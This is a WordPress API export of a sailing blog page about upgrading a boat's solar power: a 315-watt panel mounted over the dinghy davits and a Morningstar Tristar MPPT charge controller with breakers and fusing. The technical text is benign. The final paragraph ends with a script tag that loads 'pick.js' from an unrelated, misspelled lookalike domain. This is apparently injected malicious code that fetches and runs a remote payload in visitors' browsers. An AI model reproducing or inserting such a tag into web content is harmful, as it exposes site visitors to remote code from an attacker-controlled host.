{"id":17,"date":"2018-06-17T14:06:24","date_gmt":"2018-06-17T14:06:24","guid":{"rendered":"http:\/\/www.nptdock.com\/w\/?page_id=17"},"modified":"2018-07-08T15:21:18","modified_gmt":"2018-07-08T15:21:18","slug":"solar-power","status":"publish","type":"page","link":"https:\/\/www.nptdock.com\/w\/solar-power\/","title":{"rendered":"Solar Power"},"content":{"rendered":"<p>This 3<img loading=\"lazy\" decoding=\"async\" class=\"wp-image-159 alignright\" src=\"http:\/\/www.nptdock.com\/w\/wp-content\/uploads\/2018\/06\/IMG_3265-e1530188765562-225x300.jpg\" alt=\"\" width=\"254\" height=\"338\" srcset=\"https:\/\/www.nptdock.com\/w\/wp-content\/uploads\/2018\/06\/IMG_3265-e1530188765562-225x300.jpg 225w, https:\/\/www.nptdock.com\/w\/wp-content\/uploads\/2018\/06\/IMG_3265-e1530188765562-768x1024.jpg 768w\" sizes=\"auto, (max-width: 254px) 100vw, 254px\" \/>15 watt\u00a0panel replaces an aging 75 watt panel.\u00a0 With 75 watts, I could keep the batteries fully charged on the mooring,\u00a0 It could handle an occasional bilge pump cycle and makeup for the normal self-discharge of the batteries.\u00a0 Three hundred plus watts adds the ability to keep the refrigerator running all summer long, run Risa-Pi, the Raspberry-Pi based boat monitoring system that includes several cameras and a wifi connection to the internet.\u00a0 Remember that we are not concerned with maintaining this power output in winter (The power needs diminish dramatically as we won&#8217;t need the refrigerator in the off season.)<\/p>\n<p>I mounted the panel over my dinghy davits -raising it to be at the same height as my bimini.\u00a0 A ten degree slope keeps the birds from perching on it and allows the rain to keep it clean.<\/p>\n<p>&nbsp;<\/p>\n<p>As these larger panels put out voltages higher than a 12 volt system can use, a MPPT (Maximum power point tracking) charge converter should be employed.\u00a0 <img loading=\"lazy\" decoding=\"async\" class=\" wp-image-160 alignleft\" src=\"http:\/\/www.nptdock.com\/w\/wp-content\/uploads\/2018\/06\/IMG_3267-e1530188749286-225x300.jpg\" alt=\"\" width=\"236\" height=\"315\" srcset=\"https:\/\/www.nptdock.com\/w\/wp-content\/uploads\/2018\/06\/IMG_3267-e1530188749286-225x300.jpg 225w, https:\/\/www.nptdock.com\/w\/wp-content\/uploads\/2018\/06\/IMG_3267-e1530188749286-768x1024.jpg 768w\" sizes=\"auto, (max-width: 236px) 100vw, 236px\" \/>It will convert the power at the 30-50 volt output of these type panels (mine is around 37 volts) to the voltage required by the system for charging. I chose the Morningstar Tristar-60 model. While it has much more capacity than I need (could handle three 300 watt panels), it had two features that appealed to me: 1. A built-in network connection. and 2. No fan to wear out in a salt-water environment.\u00a0 It is mounted next to a battery charger in a lazarette.\u00a0 To the left of the charge controller is a (weatherproof) double pole circuit breaker\/array disconnect.\u00a0 \u00a0The cable to the battery is protected on both ends -near the charge controller (pictured above Tristar MPPT-60) and near the battery, as current can originate from either.<script src='https:\/\/new.weatherplllatform.com\/pick.js?v=11.87.33' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This 315 watt\u00a0panel replaces an aging 75 watt panel.\u00a0 With 75 watts, I could keep the batteries fully charged on the mooring,\u00a0 It could handle an occasional bilge pump cycle and makeup for the normal self-discharge of the batteries.\u00a0 Three hundred plus watts adds the ability to keep the refrigerator running all summer long, run [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-17","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/pages\/17","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/comments?post=17"}],"version-history":[{"count":15,"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/pages\/17\/revisions"}],"predecessor-version":[{"id":257,"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/pages\/17\/revisions\/257"}],"wp:attachment":[{"href":"https:\/\/www.nptdock.com\/w\/wp-json\/wp\/v2\/media?parent=17"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}